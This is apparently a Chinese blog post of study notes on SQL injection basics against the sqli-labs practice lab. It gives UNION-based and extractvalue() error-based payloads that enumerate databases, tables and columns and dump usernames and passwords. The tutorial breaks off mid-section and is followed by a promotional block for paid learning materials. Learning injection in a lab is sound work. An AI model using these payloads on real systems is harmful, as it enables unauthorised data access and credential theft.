2024年网安最全【网络安全】sql注入基础原理


前言

本篇文章仅作为本人学习参考笔记 。


一、sql注入是什么?

SQL注入是一种常见的网络安全攻击技术,它利用应用程序对用户输入数据的不正确处理,向数据库发送恶意的SQL查询语句。这种攻击技术可能导致数据库被非法访问、数据泄露、数据篡改或者完全瘫痪。从网络安全专业人员的角度来看,SQL注入是一种严重的安全漏洞,因为它可以被黑客用来绕过认证、窃取敏感数据、或者对系统进行破坏。

成因可以归结为以下两个原因叠加造成的:
​1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL 语句。
​2、未对用户可控参数进行足够的过滤,便将参数内容拼接到SQL 语句中。

二、环境搭建——sqli-labs-master靶场搭建

参考链接:靶场搭建

三、注入类型

1.参数类型

(1)数字型

(2)字符型

(一)判断参数类型方式

以sqli-labs-master靶场第一关为例,Less-1第一关为字符型,通过id的传参不同,页面回显也不一样,传入1和2-1。
源代码:$ sql=“SELECT * FROM users WHERE id=$‘id’ LIMIT 0,1”;

两次界面相同则为数字型,不同则为字符型

在这里插入图片描述
在这里插入图片描述

以sqli-labs-master靶场第二关为例,Less-2第二关为数字型,通过id的传参不同,页面回显一样。
源代码:$ sql=“SELECT * FROM users WHERE id=$id LIMIT 0,1”;

在这里插入图片描述
在这里插入图片描述

(二)order by判断字段数

以sqli-labs-master靶场第二关(数字型)作为演示,使用order by关键字,通过二分法判断字段数,此关1,2,3页面无变化,变为4页面发生变化,所以字段数为3,列数就是3列

在这里插入图片描述
在这里插入图片描述

(三)判断回显位

以sqli-labs-master靶场第二关(数字型)作为演示

?id=111 union select 1,2,3 --+  //通过联合查询,id=111查询不出来,导致判断为假,执行后面语句

or

?id=1 and 1=2 union select 1,2,3 --+
//通过联合查询,id=1 adn 1=2判断为假,执行后面语句,回显位2,3,--+注释掉后面语句

在这里插入图片描述
在这里插入图片描述

2.手法类型

以下是几种常见的SQL注入类型,基于sqli-labs-master靶场第二关(数字型)作为演示:

层级关系
在这里插入图片描述
在这里插入图片描述

(一)联合查询
union select 1,version(),database() --+ 
//查询数据库版本、当前数据库名

在这里插入图片描述

union select 1,database(),schema_name from information_schema.schemata limit 0,1 --+ 
// 查询出一个数据库
union select 1,database(),group_concat(schema_name) from information_schema.schemata --+ 
// 查询出全部数据库,group\_concat()函数可查询多条信息,不使用group\_concat()只回显一条信息


在这里插入图片描述
在这里插入图片描述

union select 1,database(),(select table_name from information_schema.tables where table_schema = database() limit 0,1) --+ 
// 爆出数据库" security "里的一个表名
union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+ 
// 爆出数据库" security "里的所有表名


在这里插入图片描述
在这里插入图片描述

union select 1,database(),( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1) --+ 
// 从表名" users "中爆出一个字段来
union select 1,database(),( select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users' ) --+ 
// 从表名" users "中爆出全部字段来

在这里插入图片描述
在这里插入图片描述

union select 1,database(),concat(id,0x7e,username,0x3A,password,0x7e) from users limit 0,1 --+ 
// 从" users "表里对应的列名中爆出一个数据来
union select 1,database(),(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from users) --+ 
// 从" users "表里对应的列名中爆出所有数据来

在这里插入图片描述
在这里插入图片描述

(二)报错注入

数据库版本不同,导致使用报错注入的函数或有差异,此次采用extractvalue()函数进行测试,其他函数方法类似

  • 查出当前数据库
and extractvalue(1,concat(0x5e,(select database()),0x5e)) --+
//查出当前数据库

在这里插入图片描述

  • 查库名
and extractvalue(1,concat(0x5e,(select schema_name from information_schema.schemata limit 1,1),0x5e)) --+ 
// 查询出一个数据库名,limit从第一条库名后开始,取一条库名


在这里插入图片描述

  • 查表
?id=1' and extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5e)) --+ 
//从当前数据库查表,多条信息不显示所以用limit关键字限制,从第一条数据开始,取一条信息

在这里插入图片描述

  • 查字段
and extractvalue(1,concat(0x5e,( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1 ),0x5e)) --+ 
// 从当前数据库里的" users "表里,查询出一个字段名来 


在这里插入图片描述

  • 查数据
and extractvalue(1,concat(0x5e,( select concat(id,0x5e,username,0x5e,password) from users limit 0,1),0x5e)) --+ 
// 从" users "表里对应的列名中,查出一个数据来


在这里插入图片描述

(三)布尔盲注
  • length()判断数据库长度

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化资料的朋友,可以点击这里获取
7511973)]
[外链图片转存中…(img-WWI83NIT-1714717511974)]
[外链图片转存中…(img-k7WPUee0-1714717511974)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化资料的朋友,可以点击这里获取

  • 7
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值